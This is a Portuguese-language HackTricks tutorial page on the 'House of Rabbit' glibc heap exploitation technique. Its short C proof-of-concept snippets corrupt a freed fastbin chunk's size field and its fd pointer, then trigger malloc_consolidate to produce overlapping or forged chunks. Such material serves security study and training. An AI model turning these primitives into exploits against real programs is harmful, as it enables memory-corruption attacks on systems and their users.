mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
119 lines
6 KiB
Markdown
119 lines
6 KiB
Markdown
# House of Rabbit
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### Requisitos
|
|
|
|
1. **Capacidade de modificar o ponteiro fd do fast bin ou tamanho**: Isso significa que você pode alterar o ponteiro para frente de um chunk no fastbin ou seu tamanho.
|
|
2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um chunk grande ou mesclando o chunk superior, o que força o heap a consolidar chunks.
|
|
|
|
### Objetivos
|
|
|
|
1. **Criar chunks sobrepostos**: Para ter um chunk sobreposto a outro, permitindo mais manipulações do heap.
|
|
2. **Forjar chunks falsos**: Para enganar o alocador fazendo-o tratar um chunk falso como um chunk legítimo durante as operações do heap.
|
|
|
|
## Etapas do ataque
|
|
|
|
### POC 1: Modificar o tamanho de um chunk do fast bin
|
|
|
|
**Objetivo**: Criar um chunk sobreposto manipulando o tamanho de um chunk do fastbin.
|
|
|
|
* **Etapa 1: Alocar Chunks**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
|
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
|
```
|
|
Alocamos dois chunks de 0x40 bytes cada. Esses chunks serão colocados na lista de fast bin uma vez liberados.
|
|
|
|
* **Passo 2: Liberar Chunks**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
free(chunk2); // Frees the chunk at 0x602050
|
|
```
|
|
Nós liberamos ambos os chunks, adicionando-os à lista fastbin.
|
|
|
|
* **Passo 3: Modificar o Tamanho do Chunk**
|
|
```cpp
|
|
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
|
```
|
|
Mudamos os metadados de tamanho de `chunk1` para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
|
|
|
|
* **Passo 4: Acionar `malloc_consolidate`**
|
|
```cpp
|
|
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado de `chunk1` faz com que ele se sobreponha a `chunk2`.
|
|
|
|
Após a consolidação, `chunk1` se sobrepõe a `chunk2`, permitindo uma exploração adicional.
|
|
|
|
### POC 2: Modificar o ponteiro `fd`
|
|
|
|
**Objetivo**: Criar um bloco falso manipulando o ponteiro `fd` do fast bin.
|
|
|
|
* **Passo 1: Alocar Blocos**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
|
```
|
|
**Explicação**: Alocamos dois chunks, um menor e um maior, para preparar o heap para o chunk falso.
|
|
|
|
* **Passo 2: Criar chunk falso**
|
|
```cpp
|
|
chunk2[1] = 0x31; // Fake chunk size 0x30
|
|
chunk2[7] = 0x21; // Next fake chunk
|
|
chunk2[11] = 0x21; // Next-next fake chunk
|
|
```
|
|
Escrevemos metadados de chunk falsos em `chunk2` para simular chunks menores.
|
|
|
|
* **Passo 3: Liberar `chunk1`**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
```
|
|
**Explicação**: Liberamos `chunk1`, adicionando-o à lista fastbin.
|
|
|
|
* **Passo 4: Modificar `fd` de `chunk1`**
|
|
```cpp
|
|
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
|
```
|
|
**Explicação**: Mudamos o ponteiro para frente (`fd`) do `chunk1` para apontar para nosso chunk falso dentro do `chunk2`.
|
|
|
|
* **Passo 5: Acionar `malloc_consolidate`**
|
|
```cpp
|
|
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alocar um grande bloco novamente aciona `malloc_consolidate`, que processa o bloco falso.
|
|
|
|
O bloco falso se torna parte da lista fastbin, tornando-se um bloco legítimo para exploração adicional.
|
|
|
|
### Resumo
|
|
|
|
A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que atacantes forjem blocos legítimos na heap, possibilitando várias formas de exploração. Compreender e praticar esses passos aprimorará suas habilidades de exploração de heap.
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|